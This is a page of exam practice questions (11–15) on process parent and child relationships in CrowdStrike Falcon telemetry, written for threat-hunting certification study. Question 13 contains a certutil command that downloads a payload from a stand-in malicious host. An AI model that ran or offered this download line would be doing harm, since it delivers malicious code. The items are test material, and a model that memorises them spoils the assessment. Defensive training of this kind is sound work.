4.5 Describe the Process Relationship of (Target/Parent/Context) CCFH Practice Questions (Page 3)

Questions 11–15

1. 11application · medium

   A Falcon event shows 'cscript.exe' running with a command line that includes '//nologo' and a path to a .vbs file in the user's temp directory. The parent process is 'outlook.exe'. The user is 'mwilson'. The host is a legal workstation. Which contextual detail is most useful for determining if this is a malicious script execution?

   • AThe user is mwilson, a standard user, so the activity is likely benign.
   • BThe host is a legal workstation, so the activity is expected.
   • CThe command line includes '//nologo', which is a standard flag and therefore the activity is benign.
   • DThe parent process is outlook.exe, which indicates the script was launched from an email client, a common vector for malware.
   Reveal Solution Discussion Select an answer first
2. 12application · medium

   A Falcon event shows 'msiexec.exe' running with a command line that includes '/i' and a path to an .msi file on a network share. The parent process is 'services.exe'. The user is 'SYSTEM'. The host is a server. Which contextual detail is most useful for determining if this is a legitimate software installation or a malicious payload?

   • AThe parent process is services.exe, which is a system process, so the activity is legitimate.
   • BThe host is a server, so the activity is expected.
   • CThe user is SYSTEM, so the activity is legitimate.
   • DThe path to the .msi file on a network share is the most useful because it indicates where the installer was sourced from.
   Reveal Solution Discussion Select an answer first
4. 13application · medium

   In a Falcon event search, you see a process tree where 'outlook.exe' spawned 'cmd.exe', which then spawned 'certutil.exe'. The command line for certutil.exe includes '-urlcache -split -f http://malicious.example/payload.exe'. Which process is the direct parent of certutil.exe?

   • Aoutlook.exe
   • BThe process that initiated the download, which is not shown in the event.
   • Ccmd.exe
   • DThe user session that launched outlook.exe, which is not a process.
   Reveal Solution Discussion Select an answer first
5. 14application · medium

   In Falcon event data, you see a process tree where 'wininit.exe' spawned 'services.exe', which then spawned 'svchost.exe'. Which process is the direct parent of svchost.exe?

   • Awininit.exe
   • BThe system account
   • Cservices.exe
   • DThe Windows kernel
   Reveal Solution Discussion Select an answer first
6. 15application · medium

   In a Falcon event search, you see a process tree where 'winlogon.exe' spawned 'userinit.exe', which then spawned 'explorer.exe'. Which process is the direct parent of explorer.exe?

   • Awinlogon.exe
   • BThe Windows kernel
   • Cuserinit.exe
   • DThe user who logged in
   Reveal Solution Discussion Select an answer first